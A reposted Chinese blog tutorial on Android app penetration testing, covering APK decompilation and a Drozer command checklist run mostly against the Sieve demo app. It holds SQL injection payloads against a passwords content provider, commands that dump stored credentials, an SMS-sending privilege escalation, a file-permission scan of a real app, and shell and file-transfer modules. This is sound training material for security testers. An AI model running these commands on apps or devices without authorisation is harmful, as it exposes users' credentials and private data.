zoukankan      html  css  js  c++  java
  • Android APP 渗透测试---总结

    1、apk反编译得到源代码

           使用编译软件 dex2gar 和 jdgui.jar 对Android APP软件进行反编译。具体步骤如下:

         (1)首先将APK文件后缀改为zip并解压,得到其中的classes.dex,它就是java文件编译再通过dx工具打包而成的,将classes.dex复制到dex2jar.bat所在目录dex2jar文件夹。

         (2)在命令行下定位到dex2jar.bat所在目录,运行dex2jar.bat  classes.dex,生成classes_dex2jar.jar

        首先将要编译的apk文件后缀修改成 .zip 解压之后得到  classes.dex 文件,将该文件下使用 dex2jar.bat文件编译成   . 生成 classes-dex2jar.jar 将生成的该文件导入 jdgui.jar 这样我们就可以看到APP的源码了

     代码审计部分基本从这部分开始。

    对APP的渗透测试我们需要APP的渗透黑框架来完成。我这里使用的 渗透框架是 Drozer  使用的系统是 AndroL 4b 

    2、Drozer渗透测试框架 

           Drozer 有Window版本和 linux版本(虚拟机),我这里使用的是虚拟机  AndroL 4b 

     如何安装 虚拟机中的环境这个网上有完整的介绍。这里不再写。

    (1)启动

          连接到虚拟机:   adb connect 127.0.0.1:5554 (如果没有使用虚拟机可以不用这步)

         PC上使用adb工具进行端口转发,转发数据到 Drozer 使用的端口 31415

          adb forward tcp:31415  tcp:31415 

         开启 embedded server-enable

          drozer console connect

     安装 要测试的APP软件到模拟器上 ,安装方法使用 adb install app.apk 

     安装完成呢之后在 模拟器丧看到APP已经安装成功

      首先我们在 Drozer框架下对被测试的APP进行 信息的收集       run app.package.list

    这里我以公开组件漏洞为例子,进行 说明安全审计方法:

         组件 Content Provider配置错误会导致数据泄露。content Provider 以表格的形式把数据展现给外部的应用, 每个 Content Provider都对应一个 “ Content://” 开头的特定的URL, 任何应用都可以通过这个URL操作 Content Provider应用的数据库。如果有的应用对权限控制不当会导致信息泄露的问题。

     进一步使用 Mercury 获取各个URL的数据  

     安全渗透测试完成的APP我们如何进行卸载了?   使用 adb  uninstall  <.packagename > 之前必须切换到 adb shell  ,之后才可以卸载。

     

     在渗透测试的时候借助其他工具  像burp Suite、  SDK manage、Wireshark等工具对模拟器上的APP进行数据包抓包拦截,以及流量的分析。

     具体的安全检查点可以对照下面的操作去检查。

    1.获取包名
      dz> run app.package.list -f sieve
      com.mwr.example.sieve
      2.获取应用的基本信息
      run app.package.info -a com.mwr.example.sieve
      3.确定攻击面
      run app.package.attacksurface com.mwr.example.sieve
      4.Activity
      (1)获取activity信息
      run app.activity.info -a com.mwr.example.sieve
      (2)启动activity
      run app.activity.start --component com.mwr.example.sieve
      dz> help app.activity.start
      usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
      [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
      [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
      [--mimetype MIMETYPE]
      5.Content Provider
      (1)获取Content Provider信息
      run app.provider.info -a com.mwr.example.sieve
      (2)Content Providers(数据泄露)
      先获取所有可以访问的Uri:
      run scanner.provider.finduris -a com.mwr.example.sieve
      获取各个Uri的数据:
      run app.provider.query
      content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
      查询到数据说明存在漏洞
      (3)Content Providers(SQL注入)
      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
      报错则说明存在SQL注入。
      列出所有表:
      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
      获取某个表(如Key)中的数据:
      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
      (4)同时检测SQL注入和目录遍历
      run scanner.provider.injection -a com.mwr.example.sieve
      run scanner.provider.traversal -a com.mwr.example.sieve
      6 intent组件触发(拒绝服务、权限提升)
      利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
      1.查看暴露的广播组件信息:
      run app.broadcast.info -a com.package.name  获取broadcast receivers信息
      run app.broadcast.send --component 包名 --action android.intent.action.XXX
      2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
      run app.broadcast.send 通过intent发送broadcast receiver
      (1)   空action
      run app.broadcast.send --component 包名 ReceiverName
      run app.broadcast.send --component 包名 ReceiverName
      (2)   空extras
      run app.broadcast.send --action android.intent.action.XXX
      3.尝试权限提升
      权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
      (1)获取service详情
      run app.service.info -a com.mwr.example.sieve
      不使用drozer启动service
      am startservice –n 包名/service名
      (2)权限提升
      run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
      7.文件操作
      列出指定文件路径里全局可写/可读的文件
      run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
      run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
      run app.broadcast.send --component 包名 --action android.intent.action.XXX
      8.其它模块
      shell.start 在设备上开启一个交互shell
      tools.file.upload / tools.file.download 上传/下载文件到设备
      tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件
    
    垂緌饮清露,流响出疏桐。 居高声自远,非是藉秋风。
  • 相关阅读:
    java 编码分析
    httpclient
    http://www.cognoschina.net/club/
    (原创)冬日里的一抹暖(摄影,欣赏)
    (原创)Louis Aston Knight 的家(摄影,欣赏)
    (原创)微笑佛国(摄影,欣赏)
    (原创)黑白风景(摄影,欣赏)
    (原创)浪迹天涯的哈士奇(摄影,欣赏)
    (转载)天山公路(摄影,欣赏)
    (原创)巩固理解基于DS18B20的1-wire协议(MCU,经验)
  • 原文地址:https://www.cnblogs.com/xinxianquan/p/14472098.html
Copyright © 2011-2022 走看看